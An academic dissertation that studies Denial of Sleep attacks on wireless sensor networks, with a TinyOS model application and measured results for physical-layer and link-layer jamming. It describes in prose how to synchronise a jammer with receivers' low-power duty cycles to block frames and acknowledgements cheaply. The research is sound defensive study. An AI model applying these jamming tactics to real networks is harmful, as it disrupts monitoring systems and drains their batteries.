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ABSTRACT
Wireless sensor networks consist of sensor nodes which are typically small in size. The main 
constrain for such sensor nodes is the battery supply. Several techniques have been designed to 
save energy consumption on the sensor nodes, such as using the power management sleep mode. 
Denial of Sleep attacks mainly target the sleep mode of the radio transceiver which is a key energy 
consumer on a sensor node, thus dramatically sinking the node’s lifetime and essentially the 
network’s life span. 

In this dissertation various strategies of Denial of Sleep attacks and a number of possible 
countermeasures will be presented. A model application has been implemented and tested against 
several tactics of attacks and some significant results have been produced. The overall aim is to 
reveal the effectiveness of Denial of Sleep attacks against critical applications of wireless sensor 
networks.
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 1 INTRODUCTION

 1.1 Aims and hypothesis
The overall aim of this project is to analyse the effectiveness of Denial of Sleep attacks in wireless 
sensor networks and identify possible countermeasures. Denial of Sleep attacks prevent the sensor 
nodes from going into sleep mode with the goal to reduce the network's lifetime.

As it was stated in the proposal of this dissertation [6], Denial of Sleep attacks will be deployed on 
a model application and the results will be analysed and evaluated. Taken as a whole, the 
evaluation will be done according to the experiment results in order to examine how an application 
in wireless sensor networks is effected by Denial of Sleep attacks. In the proposal the planned 
approach for evaluation included three different datalink layer protocols to be incorporated in the 
application. 

The datalink layer protocols were to be evaluated against Denial of Sleep attacks which target the 
communication protocols. One of the three protocols has been introduced as a countermeasure for 
Denial of Sleep attacks. It was impossible to use the three protocols mentioned in the proposal for 
reasons which will be discussed later. 

 1.2 Objectives
The original objectives in the proposal of this dissertation are listed below.

1. Implement a model application that will act as the target application for Denial of Sleep 
Attacks. Incorporate the Sensor Media Access Control (S-MAC) and the Time-out Media 
Access Control (T-MAC) protocol for the communication system of the Wireless Sensor 
Network.

2. Design and implement different tactics of Denial of Sleep attacks.

3. Analyse and compare the effectiveness of Denial of Sleep attacks against the two link layer 
Protocols, the S-MAC protocol and the T-MAC protocol.

4. Analyse and compare the effectiveness of Denial of Sleep attacks against the model 
application (measure loss of data or delay on the application level). 

5. Design and implement the Gateway Media Access Control (G-MAC) protocol as a 
countermeasure for Denial of Sleep attacks.

6. Evaluate the G-MAC and compare the results with the S-MAC and the T-MAC protocol.

 1.3 Changes in the Objectives
The S-MAC and T-MAC protocols stated in the objectives are early protocols designed for 
wireless sensor networks[1,2]. Such early protocols used older types of platform technology and 
therefore newer protocols were designed in order to compensate the changes. The older protocols 
have not been implemented for newer platforms of sensor nodes and it was impossible to carry out 
the dissertation using the same approach. Newer protocols are described in this dissertation, which 
have been used for the experiments. 

Furthermore, designing and implementing the G-MAC protocol [15] was rather an ambitious 
objective to accomplish during the available period. The dissertation focuses on Denial of Sleep 
attacks rather than the design and implementation of a protocol which is introduced as a 
countermeasure. Nevertheless, possible countermeasures are identified later in the dissertation. 
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 1.4 The new objectives
1. Implement a model application that will act as the target application for Denial of Sleep 

attacks. Incorporate a variation of the B-MAC protocol for the communication system of 
the wireless sensor network.

2. Design and implement tactics of Denial of Sleep attacks.

3. Analyse the results of the attacks against the MAC protocol and the model application.

4. Evaluate the results.

5. Identify possible countermeasures for future work.

 1.5 Dissertation structure
In chapter 2, the background research carried out since the proposal of the dissertation provides an 
overview of several MAC protocols designed for wireless sensor networks. In the Design and 
Implementation chapter, a description is provided of what has been done and how it was done for 
the experiments. Firstly, a model application is described that has been implemented for 
experimental purposes. Moreover, numerous types of Denial of Sleep attacks will be outlined and 
give a description of how they were designed and implemented. Chapter 4 details the analysis of 
the results for the application and the attacks. In chapter 5, an evaluation is carried out based on the 
results and the Software Engineering aspects followed for the implementation.  Finally, a 
conclusion of the dissertation is made and a description of what went well and what went wrong. 
Furthermore in the conclusion, possible countermeasures for Denial of Sleep attacks are identified 
and described for future work. At the end of the dissertation references and appendices are 
provided.
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 2 BACKGROUND RESEARCH
Several strategies of Denial of Sleep attacks target the communication protocols in wireless sensor 
networks in order to exploit vulnerabilities and reduce the network's lifetime. Further background 
research had to be done after the project's proposal in order to understand the underlying structure 
of the communication protocols in wireless sensor networks. Several MAC protocols designed for 
wireless sensor networks were investigated. Due to this investigation it was possible to identify 
and select a MAC protocol to incorporate in the experiments that were carried out through the 
project's lifetime.

 2.1 The B-MAC protocol
The Berkeley Media Access Control protocol (B-MAC) is a flexible protocol designed for low 
power wireless sensor networks[3]. The protocol provides interfaces which are adjustable and can 
take into account numerous application requirements. The major characteristic of the B-MAC 
protocol is the Low Power Listening functionality (LPL) which allows sensor nodes to save energy 
consumption and extend the life span of the network.

In a typical network where energy consumption is not critical, a receiver node may listen to the 
communication medium constantly for any transmitted frames. In wireless sensor networks such 
idle listening is an expensive energy cost. LPL functionality allows sleep intervals for saving 
energy consumption. 

A receiver node using the LPL functionality will wake up periodically to check for channel 
activity. When there is not any activity the node goes back to sleep and continues duty cycling, 
otherwise it will remain awake to receive a potential frame. Detection of channel activity can be 
performed using Clear Channel Assessment (CCA) algorithms. 

In order to offer reliable assessment and avoid false positives due to ambient noise, the CCA 
algorithm calculates the ambient noise in the environment by getting samples of the signal strength 
during a presumably inactive period. The median value of the samples is then being used as the 
ambient noise floor. When the receiver wakes up and wants to check the radio, CCA can detect 
whether there is channel activity or not by using the noise floor estimation. In case there is not any 
channel activity, the signal strength of some of the samples will be lower than the floor estimation 
because noise strength is variant. In contrast, when there is channel activity, the signal strength can 
never go lower than the floor estimation, due to the fact that  frame transmissions ought to have 
greater signal strength than the strength of ambient noise. The CCA algorithm checks for the 
samples that are lower than the estimated noise floor to determine whether there is channel activity 
or not. CCA is also used in order to provide Collision Avoidance (CA) when transmitting a frame.

While the LPL functionality offers a great advantage on energy saving for the receiver nodes, there 
are disadvantages on energy consumption for the sender nodes. In order to ensure that data are not 
being transmitted during sleeping periods and getting lost, the frames must have long enough 
preambles. The long preambles can guarantee that the transmission will last more than the sleeping 
period. Even in the worst case, a receiver will wake up just before the start of the frame's data, as 
shown in Figure 1. The additional preamble transmission is a major energy cost for a sender node. 
Moreover if the receiver wakes up during a preamble transmission then it remains awake longer to 
receive the data after the preamble.
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 2.2 The B-MAC+ protocol
The B-MAC+ protocol [4] is an enhanced version of the B-MAC protocol described in the 
previous section.  This enhanced version tries to mitigate the problem of the additional energy 
consumption required for receiving frames with long preambles. One observation to be made here 
is that the energy consumption for the sender node remains unchanged. 

The difference in the B-MAC+ protocol lies in the preamble of the frame. The additional preamble 
of the data payload is divided into smaller frames where each frame contains a countdown number 
and the destination address. The countdown number counts the number of the remaining preamble 
frames preceding the data payload. When a receiver wakes up to check for channel activity and a 
preamble is being transmitted, the receiver can check the counter and the destination address in one 
of the preamble frames. If the destination address is another node, the receiver node can go back to 
sleep immediately. Otherwise the receiver node will check the countdown number and calculate 
the time of arrival of the data payload, since each frame in the preamble has the same length. 
During that period the receiver can go back to sleep and wake up just before the data arrives. The 
explanation of the B-MAC+ protocol with LPL functionality is depicted in Figure 2.

 2.3 The X-MAC protocol
The X-MAC protocol [5] is yet another low power MAC protocol for wireless sensor networks. At 
the heart of the protocol lies the LPL functionality as in the B-MAC protocol. Additional features 
are introduced in order to save energy consumption at both the sender and receiver nodes.  The 
principles for saving energy consumption at the receiver node are identical to those of the 
B-MAC+ protocol. That is, a preamble is added in front of the payload and the preamble is divided 
into small frames, each frame containing a destination address and a counter. 

Moreover, the X-MAC protocol allows an early acknowledgement from the receiver to interrupt 
the long preamble and let the sender to jump to the payload transmission. In order to allow 
acknowledgements from the receiver, the protocol adds a pause after each preamble frame. During 
the pause, the sender can check for an acknowledgement and if it has received one, then will start 
transmitting the payload immediately. Figure 3 depicts the LPL functionality in the X-MAC 
protocol.
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 2.4 MAC protocols in TinyOS
TinyOS is a small Operating System with a special set of libraries and protocols designed for 
wireless sensor networks. TinyOS is written in nesC, a language for deeply networked systems. 
Further information about TinyOS design structure and nesC can be found in the proposal of this 
project.

TinyOS design includes the B-MAC protocol, although the LPL functionality of B-MAC is not 
implemented for all the platforms. To be more precise, the MICAz [7], TelosB [8] and iMote [9] 
platforms are not supported by the B-MAC protocol. These platforms make use of the CC2420 
chip [10] for radio communication, which complies to the IEEE 802.15.4 standard [11] . The 
specific chip uses radio packetization in order to send compliant packets and decrease 
microprocessor overhead. Due to the radio packetization, the preamble for each packet cannot have 
an arbitrary length, therefore the B-MAC protocol's preambles cannot be implemented [5,12].

Nevertheless, the B-MAC+ protocol has been implemented for the TelosB platform in TinyOS 
(version 1.x), since the enhanced version of B-MAC does not use long preambles. Rather, a train 
of frames are transmitted to replace the preamble. Moreover in TinyOS (version 2.x) a separate 
protocol has been implemented which supports LPL functionality.

The protocol in TinyOS (version 2.x) is based on the X-MAC protocol but the LPL functionality is 
designed using a different approach. Instead of sending a train of frames as a preamble to the data 
payload, the protocol sends the data payload frame repeatedly. In order to provide reliability, the 
frames are being repeatedly transmitted for twice the period of the sleeping interval of the receiver. 
After each frame, there is a pause to allow an acknowledgement check, as it happens in the 
X-MAC protocol. When the receiver wakes up to check for activity, it can receive the data payload 
directly and send an acknowledgement. This approach minimises the transmission of unnecessary 
data for long preambles [17].

The protocol in TinyOS (version 2.x) also provides some guard against Denial of Sleep attacks. 
The receiver checks the incoming frames and if a number of invalid frames arrive, the receiver 
goes back to sleep, rather than wasting energy receiving invalid frames [16].
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 3 DESIGN AND IMPLEMENTATION
This dissertation is aiming to present the effectiveness of Denial of Sleep attacks against 
applications for wireless sensor networks. In order to be able to do an evaluation, a scenario of a 
critical application was specified and a model application was designed and implemented based on 
the scenario. Secondly, Denial of Sleep attacks were designed and implemented in order to be able 
to test the attacks against the model application.

 3.1 Software engineering aspects
For the model application and the Denial of Sleep attacks, a Software Engineering model has been 
used in order to produce a well defined implementation. The model suggests to divide each 
application into modules and for each module four different stages will be followed. The four 
stages for each module are: the requirements stage; the design stage; the implementation stage; and 
the testing stage. The applications that had to be considered are: a target model application; and 
three different Denial of Sleep attacks. 

The model has been selected since it allows the disassemble of large tasks into smaller tasks. 
Moreover, some of the stages could be done in parallel between modules. Furthermore, it was 
possible to oscillate between the implementation and the testing stage, according to observations 
through out the testing stage.

 3.2 Objective 1: The model application
 3.2.1 Case study: Battlefield monitoring

The military is using applications for wireless sensor networks in order to build defence 
mechanisms and systems that will provide intelligent information about enemy military force. 
Wireless sensor networks can be installed in vital areas were enemy troops may intrude. Using 
such wireless sensor networks, a defence mechanism can be provided which will allow early 
detection and prevention of intrusion. Such defence can be designed generically, not only for 
battlefield monitoring but further for several applications. A set of application requirements have 
been set for a battlefield monitoring scenario, as described in the following list.

 3.2.2 Requirements

1. A wireless sensor network must be installed whereas a wired network is not feasible. 

2. The application must gather periodic information about the environment's temperature in 
order to detect explosion events in the field.

3. The wireless sensor network consists of sender nodes, forwarders and a base station.

4. The exchanged frames are not encrypted, or at least only the data are encrypted and not the 
headers of the frames. This requirement is based on the fact that encryption of the headers 
is a major overhead for the battery supply.

5. The specification defines a certain period for the network's lifetime. 
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 3.2.3 Design

A simplified version of the application described in sections 3.2.1 and 3.2.2 was designed for 
implementation. The application is divided into four modules: a sender module; a forwarder 
module; a base station module which communicates directly with a desktop computer; and a 
listener module which will be running on the desktop computer. Figure 4 depicts the model 
application.

 

 3.2.3.1 The sender node

The sender node in the model application represents the sensor nodes which send information 
about the environment's temperature. In case of explosions the temperature would rise. As to 
demonstrate this idea, the sender node was designed to send temperature readings every five 
seconds. At every third frame the temperature readings are raised to simulate an explosion event. 
In the model application the true sensor readings are not being used. Instead, two constant values 
have been set to represent the normal temperature and the explosion temperature.

For the experiments the sender node is designed to send only ten frames to the forwarder node and 
request an acknowledgement for each frame. After the experiment procedure, the sender will 
transmit the results for each frame directly to the base station. The results contain information 
about: the node's identity; the frame's identity; the time required for the radio activity of each 
frame; the total radio activity of the experiment; and a value to state whether a frame was 
acknowledged or not. A detailed structure of the sender frames are shown in the tables below.

AM Destination address Message length Group id Handler

byte xx xx xx xx xx xx xx xx

    Table 1: Frame headers

Frame headers Node id Temperature Packet id

byte xx xx xx xx xx xx

    Table 2: Sender's frame structure 

Frame headers Node id Packet id Radio activity Total radio 
time 

was_acked

byte xx xx xx xx xx xx xx xx xx xx xx xx xx

    Table 3:Sender's results frame structure

 3.2.3.2 The forwarder node

The forwarder node represents a listener in the wireless sensor network which is expecting 
incoming frames to forward to the base station node. The forwarder node is using the LPL 
functionality provided by the MAC protocol in TinyOS (version 2.x), in order to save energy 
consumption. Forwarders in a wireless sensor network are responsible to offer reliable forwarding 
of data when the sender nodes are out of the range of the base station.  
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 3.2.3.3 The base station

The base station represents the sensor node which communicates directly with a computer. In the 
model application, the base station is constantly listening for incoming frames and forwards the 
frames to a desktop computer through a serial cable. The desktop computer is running a program to 
display the data on the screen. A simplified implementation for the base station and the desktop 
computer program was available in the TinyOS contribution tree. 

LPL functionality was added to the implementation in order to ensure proper communication 
between the base station and the sensor nodes in the network. The LPL functionality is not a 
necessary component, since the base station is powered from a stationery computer.

 3.2.3.4 The Listener module

The listener module represents the application which will be running on a desktop computer. The 
listener displays all the data which are received from the base station. TinyOS provides a listener 
module written in Java, which prints out a line for each frame received. Each line separates all the 
bytes in the frame and shows the hexadecimal representation of each byte. 

 3.2.4 Implementation

A version of the application described in the design section was implemented for experimental 
purposes.  The application is written in the nesC language, using the TinyOS (version 2.x) libraries 
and the CC2420 radio stack (version 1.2) which is designed for the CC2420 chip used by the 
MICAz platform. The radio stack used for the application includes a variation of the X-MAC 
protocol with LPL functionality, as described in chapter 2. The platforms used for the sensor nodes 
are the MICAz motes.

The default parameters for the LPL functionality were used as provided by the MAC protocol in 
TinyOS. That is, the sleeping period of the receiver is one second per duty cycle and the sender has 
to send each frame repeatedly for twice the sleeping period, unless it receives an early 
acknowledgement. The acknowledgement request was added in the application to ensure that the 
receiver will respond when it receives a frame.

The libraries that have been used for the modules include: a radio stack which provides LPL 
functionality and interfaces for sending and receiving frames; a millisecond timer which provides 
interfaces for setting up timers; a microsecond counter interface; and a Leds interface which allows 
manipulation of the LEDs on the platform. 

Figure 5 shows the components and interfaces used for the Forwarder module, which has a rather 
simple configuration.

Figure 5: Configuration of the Forwarder module.

In order to measure the radio activity to provide in the results, two variables have been set in the 
implementation code. The first variable stores the value of a counter just before calling a 'Send' 
function. The second variable stores the value of the counter just after a 'Send Done' event. The 
difference between the two variables is abstracted as the radio activity period for transmitting a 
frame. When transmitting multiple frames, the total radio activity is calculated by adding the radio 
activity of all the frames.
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 3.2.5 Testing

After the implementation, the model application was tested thoroughly to ensure that each module 
of the application was working correctly. During the tests, several modules had had to be changed 
due to new observations and requirement changes. There was an oscillation between the stages of 
the application throughout the Software Engineering process lifetime.

During the tests it was possible to identify problems both in the design and the implementation of 
the application. In the design it was identified that the periodic transmission of frames from the 
sender was too short for the LPL scheme, since two transmitted frames could overlap and cause 
complex results. Such complex results could have been an obstacle for the experiments.

Moreover, in the implementation it was identified that the LPL functionality was not enabled by 
default. An extra definition in the source code had to be added which would enable LPL 
functionality. Secondly, acknowledgement requests were not enabled by default. The 
acknowledgement of frames allow energy savings for the sender and it was necessary for the 
experiments to have acknowledgements requests enabled. 
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 3.3 Objective 2: Denial of Sleep tactics
Denial of Sleep attacks mainly target the sleep mode of the radio transceiver on the sensor nodes. 
The radio transceiver is one of the key components on sensor nodes which requires significant 
amount of energy. Due to the nature of wireless networks, an attacker can exploit several 
vulnerabilities in order to force transmissions or prevent the sensor nodes from going into sleep 
mode. 

There are various tactics for Denial of Sleep attacks which depend on exchanged factors. Three 
different types of attacks have been designed for the experiments. The first two types of attacks use 
frame collisions, whereas the third type uses idle listening. The way the attacks used frame 
collisions and idle listening are described in more detail later in this chapter. The type of attacks 
which use frame collisions are usually targeting the sender nodes, rather than the receiver nodes. 
Frame collisions may have little effect on a receiver node which uses LPL functionality. In 
contrast, idle listening attacks target the receiver nodes and have little effect on the senders.

 3.3.1 Requirements

1. The attacker's goal is to reduce the network's life span. 

2. The technology used by the attacker is the same technology used in the target application. 

3. The attacker's resources are limited. That is, the number of attacker nodes and the battery 
consumption must be minimised as much as possible.

4. It is assumed that the attacker knows the frequency of the channel being used by the 
wireless sensor network. Moreover, some characteristics of the MAC protocol being used 
is known to the attacker.

 3.3.2 Design

Three different types of Denial of Sleep attacks are described in the following three sections. The 
Physical layer radio jamming attack and the Link layer jamming attack have been designed and 
implemented for the experiments in order to produce results. The third type of attack, described in 
section 3.3.2.3 was not implemented. 

 3.3.2.1 Physical layer radio jamming

Radio jamming attacks are intentional radio transmissions which disrupt the communication 
channel used in a wireless network. An attacker is constantly transmitting signals to corrupt 
legitimate radio frames due to frame collisions. Frame collisions occur when two radio signals are 
transmitted over the same channel at the same time. Sensor nodes using a MAC protocol with 
backoff algorithms and collision avoidance, can make a reliable transmission without interference. 

The collision avoidance algorithm detects whether a channel is modulated and the backoff 
algorithm prevents the transmission during busy periods, while allowing the sender to transmit at a 
later period. The attacker node ignores the protocol's collision avoidance and backoff algorithms. 
In fact, the attacker does not use any knowledge of the link layer characteristics, rather is 
transmitting signals constantly.

Due to the frame collisions, a sender node is forced to repeatedly transmit a frame for a longer 
period than normal. The acknowledgement frame from the receiver is corrupted. An 
acknowledgement frame allows the sender to quit transmitting and go back to sleep at an early 
stage. Due to the corruption of the acknowledgement frames, the sender node is forced to transmit 
for a longer period of time. 
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 3.3.2.2 Link layer jamming

Link layer jamming is a sophisticated type of attack which uses knowledge of the datalink layer 
protocol provided for the communication between sensor nodes. Instead of constantly transmitting 
signals like in the physical layer radio jamming, an attacker node can transmit signals only when 
there could be a communication between a sender and a receiver node. The effects of a link layer 
attack are more efficient and the battery consumption of the attacker is minimised, thus allowing a 
long-term type of attack.

A link layer jamming module has been designed to attack the model application which uses the 
TinyOS MAC protocol. For the experiments, the attack is specifically targeting the characteristics 
of the MAC protocol in TinyOS (version 2.x). Those characteristics exist in the family of protocols 
which use the LPL functionality.

The strategy of the attacker is to synchronise with the receiver's LPL duty cycling. If the attacker is 
able to synchronise with the wake up checks at every duty cycle, it is then possible to disrupt the 
frames arriving at those specific periods. Moreover, even if a frame makes it through the jamming, 
it is unlikely that the acknowledgement of the frame will be transmitted uncorrupted. Therefore, 
the sender will keep transmitting unaware of any frame acknowledgements. The extra transmission 
of the sender will cause more energy consumption like in the physical layer radio jamming attack.

The attacker can synchronise with a receiver in two stages. The first stage is to check in the 
headers of the frames to find the LPL duty cycle parameters. In TinyOS the frame's format specify 
the LPL duty cycle period in the meta-headers section[13]. The duty cycle period is necessary to be 
agreed upon a receiver and a sender in order for the two nodes to be able to communicate properly. 

Secondly, the attacker can detect when the receiver is going back to sleep by detecting the 
acknowledgement frames. A receiver goes back to sleep shortly after an acknowledgement has 
been transmitted. With this knowledge, an attacker can start duty cycling with the receiver when an 
acknowledgement is detected.

In case the parameters for the LPL functionality are not being transmitted, an attacker may still be 
able to calculate an approximation of the duty cycle period of the receiver. First an 
acknowledgement request to the receiver is being sent. Once the acknowledgement is received, a 
second request is being transmitted until a second acknowledgement is received. The difference in 
time between the two acknowledgements can be used as an approximation of the receiver's duty 
cycle. This is based on the fact that a receiver will go back to sleep shortly after it has sent an 
acknowledgement.

For the design of the link layer attack, it is assumed that the LPL duty cycling of the receiver is 
already known. This assumption is made in order to allow simplicity for the implementation of the 
attacker.

As mentioned before, the physical layer radio jamming attack affects all the nodes within the range 
of the attacker node. In the link layer strategy, one attacker node can only synchronise with one 
receiver node, since the receivers are duty cycling asynchronously. Therefore, only a few sender's 
will be affected by the attack. The way an attacker can overcome this obstacle is by forcing the 
receivers to make a synchronised duty cycle. Once the receivers are synchronised, all the duty 
cycling periods will overlap and the attacker can disrupt the radio and affect all the sender nodes in 
range.

The key to synchronise the duty cycle of the receivers lies in the CCA check performed at every 
wake up check. The CCA algorithm checks for any channel activity and if nothing is modulating 
the channel, the sensor node will go back to sleep immediately. In case a frame is transmitted, the 
sensor node will remain awake longer to receive the potential frame. Once the frame is received 
the sensor node can go back to sleep. The extended wake up check though, shifts the receiver's 
duty cycle at a later time. In case the wake up check was static the shift of the duty cycle could not 
be achieved. However, a static wake up check may cause extra energy consumption of the receiver 
when there are no frames transmitted.
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An attacker node can synchronise with one receiver's duty cycle and then start shifting all of the 
other receivers' duty cycle until they are all overlapping. A remarkable observation here is that the 
opposite may happen. The attacker can start shifting only one receiver's duty cycle and then all the 
other receivers will start falling into the first receiver's duty cycling period. Figure 6 depicts this 
observation. Moreover, the attacker is not obligated to transmit legitimate frames. Even invalid 
signals will extend the wake up check of the receiver. For the experiments, an attacker node was 
designed to synchronise with all the receivers in range, in order to prove this observation.

Once the receivers are synchronised the attacker is essentially affecting all of the sensor nodes in 
range. All of the senders will be unable to receive acknowledgements and will keep transmitting 
repeated frames.

A further observation in this type of attack is that even if the number of the receivers becomes 
large, the synchronisation period is not growing larger. In the worst case, the period required for 
one receiver to synchronise with another receiver is the largest period required and grows no more, 
even with an infinite number of receivers. In Figure 5, Receiver 3 has the worst case scenario for a 
receiver to get synchronised with Receiver 1. Every other receiver in the network will require at 
most the same period to get synchronised. 

  

 3.3.2.3 Idle Listening

Idle listening occurs when a receiver wakes up and waits for a transmission, but there are not any 
transmissions at the specific period. Idle listening causes energy lost and low power protocols for 
wireless sensor networks aim to reduce idle listening by providing time-out periods. In the MAC 
protocol which is used for the model application, when the channel is idle, the receiver will go 
back to sleep immediately. In contrast, when there is a frame transmission, the receiver remains 
awake to receive the frame, but it does not turn back to sleep immediately. Instead, the listener 
remains awake for a short period to check whether a consecutive frame will arrive. After the short 
period, if nothing arrives, the listener times-out and goes back to sleep. 

If a frame arrives, then the timer is reset and the listener will remain awake again to check for the 
next frame. This allows to perform large data transactions when it is necessary, without having to 
reconfigure the LPL parameters[18].

An attacker can cause idle listening in order to drain out the energy of the receiver nodes. The 
strategy for such an attack depends on the characteristics of the MAC protocol. In the case of 
which it has been described above, an attacker can start sending frames periodically just before the 
time-out period expires.

If the MAC protocol disables the reset function of the timer when a frame arrives, then this type of 
attack will fail. The trade-off for disabling the reset function is the overhead in large data 
transactions between sensor nodes.
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 3.3.3 Implementation

For the experiments, the attacker modules were implemented using the same technology with the 
model application. Particularly, the attacker nodes are the MICAz platforms and the programs are 
written in nesC, using TinyOS libraries. The libraries include the same radio stack that is used by 
the model application. The radio stack provides the interface for the attacker to send frames.

The main difference in the implementation for the attackers is the collision avoidance check which 
has been disabled. Since the collision avoidance check was disabled, any backoff algorithms in the 
protocol were never being used. Therefore, the attackers could transmit signals at any time in order 
to corrupt frames.

The attackers are programmed to stop the attack after a certain period of time to allow the results to 
be transmitted correctly after the experiment procedure. The attacker nodes will transmit results of 
the radio activity after the experiment. The results contain the total time of the radio activity of the 
attacker. A detailed structure of the resulting frames can be found in Appendix A.

 3.3.4 Testing

During the testing stage of the physical layer radio jamming attack, it was realised the the CCA 
check which provides collision avoidance had to be disabled. With the CCA check enabled, the 
attack was not as effective, because the attacker had to pause in between transmissions in order to 
do a CCA check. The pauses in between the transmissions allowed the senders to transmit frames 
and receive acknowledgements. Once the CCA check was disabled, the attack was 100% 
successful. That is, all the frames and acknowledgements were getting lost as it was shown in the 
results.

In the link layer jamming attack during the testing stage, it was identified that the synchronisation 
of the attacker with the receiver node was not precisely calculated. It was realised that at each duty 
cycle of the receiver there were some unknown latencies which would drift the attacker's duty 
cycling out of the synchronised period. Since those latencies were identified, some attempts to 
overcome the problem were made. First, it was possible to extend the transmission period of the 
attacker between the duty cycles in order to cover the wake up checks, even when there were some 
drifts. Secondly,  a resynchronisation mechanism was implemented in order to resynchronise the 
attacker with the receiver after a certain period of time. Finally, another approach was to use 
acknowledgement request at every duty cycle, rather than just the first time. This approach meant 
that the attacker would send frame with requests for acknowledgements. Due to the 
acknowledgements, the attacker would have to pause in between the transmissions in order to 
check for the acknowledgements. Therefore, this approach was not successful.

One considerable observation was made during the testing of the synchronisation of the attacker 
with the receiver's duty cycling. When one attacker node synchronises with many receiver nodes, it 
is important that the frames transmitted by the attacker are not broadcasted. When broadcasting a 
frame, non of the receivers will send an acknowledgement. Secondly, the attacker should  know 
the destination address of one receiver node, in order to be able to make acknowledgement 
requests for frames. It is also important that the attacker gets acknowledgements only from one 
receiver node, otherwise it would mix the acknowledgement frames and calculate wrong duty 
cycling periods. 
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 4 RESULTS
The results presented in this chapter associate the energy consumption with the radio activity of the 
sensor nodes. The energy consumption can be related with the radio activity, because the longer 
the radio transceiver is active the more energy consumption it requires. The radio activity is 
measured in a time granularity of microseconds. Refer to Appendix A, for a detailed specification 
of how microsecond granularity was achieved.

The attacks that have been successfully deployed in the experiments are the attacks that are 
targeting the sender nodes in a wireless sensor network. Therefore, the results in the following 
sections measure the radio activity of the sender node in the model application. Secondly, the radio 
activity of the attacker is measured in the same way. Moreover the frames loss is measured and the 
number of acknowledged frames. The number of acknowledged frames can be related to the 
sender's radio activity, since the acknowledgements are used to save extra energy consumption of 
the sender node. 

The percentage of the radio activity was calculated by using a timer to record the total time of the 
experiment procedure and the total time of the radio activity. For each experiment, ten frames were 
transmitted at every five seconds. In the results, the first message is not included, due to invalid 
measurements at the beginning of the transmissions. 

The following three sections present the results for the model application, the physical layer radio 
jamming attack and the link layer jamming attack.
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 4.1 Model application results

The model application was tested and executed under normal conditions in order to show the 
performance of the wireless sensor network in use. The results demonstrate how the MAC protocol 
works in terms of energy efficiency. For each frame transmitted, the radio activity of the sender is 
measured in microseconds. 

Frames were received and shown on the screen one by one. After the experimental transmissions, 
the results for each frame were transmitted to the base station and were shown on the screen at a 
later time. The results contained each frame's identity number, the radio activity period required for 
the sender to transmit the frame, and a value that determined whether a frame was acknowledged 
or not. 

Under the normal circumstances, the arrival of the frames were 100% successful and all the frames 
had been acknowledged. The average time required for the radio activity of the sender to transmit 
each frame is at the level of 500 milliseconds. The total radio activity after the transmissions, 
which is the transmission of ten frames, is at the level of 4.5 seconds. The figures below present 
the results in microseconds, as this is the time granularity which has been used for the experiments. 
The results shown in Figure 7 are the average calculations of two experiments. The accurate and 
detailed results can be found in Appendix B.
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 4.2 Physical layer radio jamming results
Radio jamming attacks were deployed against the model application in order to gather results and 
evaluate the effectiveness of this type of attacks. The model application set-up was identical as of 
the set-up under the normal conditions experiment. 

An attacker node was constantly transmitting radio signals throughout the experiment period. The 
results show that the model application has failed to receive any frames from the sender and all of 
the frames had never been acknowledged, due to the attack. The failure of the acknowledgement 
transmissions caused the maximum radio activity required by the sender, which is approximately 2 
seconds for each frame. After this period the MAC protocol quits the transmission and gives 
control to the layers above. The maximum transmission period for each frame is twice the period 
of the sleep interval of the receivers, as stated by the protocol. The results of the radio activity of 
the sender and the attacker, during the physical layer radio jamming attack are shown below in 
Figure 8.
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 4.3 Link layer jamming results
The link layer Denial of Sleep attack which was described in chapter 3 has been deployed against 
the model application and the results of the attack are provided in this section. The attack has been 
deployed using the synchronisation mechanism described in chapter 3. The attacker node was 
synchronised with one receiver node and was sending random frames during the wake-up checks 
of the receiver. Due to some drifts in the synchronisation periods, the attack was not 100% 
successful. Nevertheless, the attack was effective enough to cause loss of transmitted frames and 
acknowledgements. The results are shown in Figure 9. In average, there was 70% of frames loss 
and acknowledgements loss. 
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 5 EVALUATION

 5.1 Evaluation of the results obtained
 5.1.1 Physical layer radio jamming

The physical layer radio jamming attack was successfully deployed against the model application. 
The attack caused 100% loss of frames from the sender and 100% loss of acknowledgements from 
the receiver node. This type of attack is considerably effective, since it maximises the radio activity 
of any sender node within the range of the attacker node. Figure 10 compares the results of the 
sender's radio activity and shows a significant difference of the radio activity when the sender is 
under the attack.

Regardless the effectiveness of the physical layer radio jamming attacks, this type of attack may 
not  be feasible. The resources of energy supply required for the attacker node are a lot more than 
the resources drained out of the target nodes.  If the attacker node uses the same technology and 
battery supply as the target application, then the attacker will eventually run out of battery even 
before the target node. Figure 11 shows a comparison between the radio activity of the target node 
and the attacker node resulting from the experiments.

Moreover, if the radio transceiver is turned off during backoff algorithms, then the physical layer 
radio jamming attack may not be as effective as it was measured to be. Due to the radio jamming, a 
sender will always have to use backoff algorithms and it would rarely transmit any frames. The 
sender would have to turn on the radio transceiver only to check whether the channel is clear or 
not. After the CCA check, the radio transceiver can be turned off while executing the backoff 
algorithm and then turn it on again for the next CCA check. This scenario was not examined for 
the protocol in TinyOS and has not been taken into consideration for the results.
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 5.1.2 Link layer jamming

The link layer jamming attack is much more efficient for an attacker, than the physical layer radio 
jamming. The attacker node in the link layer strategy consumes far less energy than in the physical 
layer radio jamming. This optimisation of the attacker's energy consumption allows for an 
extended attack which may last longer than the network's lifetime. 

The link layer jamming attack was partly a successful during the experiments. In theory, the results 
should have shown the same radio activity of the sender as in the physical layer attack. That is, the 
sender node should have had the maximum radio activity for each frame transmitted. 

Due to many factors, the duty cycling of the receiver could not be calculated precisely. Such 
factors include the extension of the duty cycle period because of arbitrary processing latency and 
transmission latency. Therefore, the attacker was not able to have an absolute synchronisation with 
the receiver's duty cycling. Consequently, the attacker node was drifting off the wake-up checks of 
the receiver after some period and some frames of the sender could therefore be acknowledged. 

Nevertheless, the results show that the effects of the link layer attack are close upon the effects of 
the physical layer attack. Due to such effects and the energy efficiency of the attacker node, this 
strategy can be considered as the preferable strategy for an attacker. Moreover, backoff algorithms 
would rarely be executed from the sender, since the attack is only transmitting frames at small 
periods of time.

Figure 12 compares the total radio activity of the sender node under normal conditions and under 
the attack in order to show the effects of the attack. Figure 13 compares the total radio activity of 
the attacker and the target. Figure 14 shows a significant difference in the radio activity of the 
attacker, between the physical layer attack and the link layer attack.
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Figure 12: Link layer jamming attack effects
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 5.2 Evaluation of the Software Engineering aspects
The Software Engineering model which has been planned and organised for the project was a 
major contribution to the success of achieving the main objectives of this dissertation. During the 
project's lifetime, a number of problems had been encountered and it was possible to overcome the 
obstacles because of a good design and organisation.

The Software Engineering process allows the division of software development into stages and 
furthermore allows tasks to be broken into small modules. With this approach, it was possible to 
identify problems at an early stage and be able to find alternative solutions for proceeding with the 
experiments.

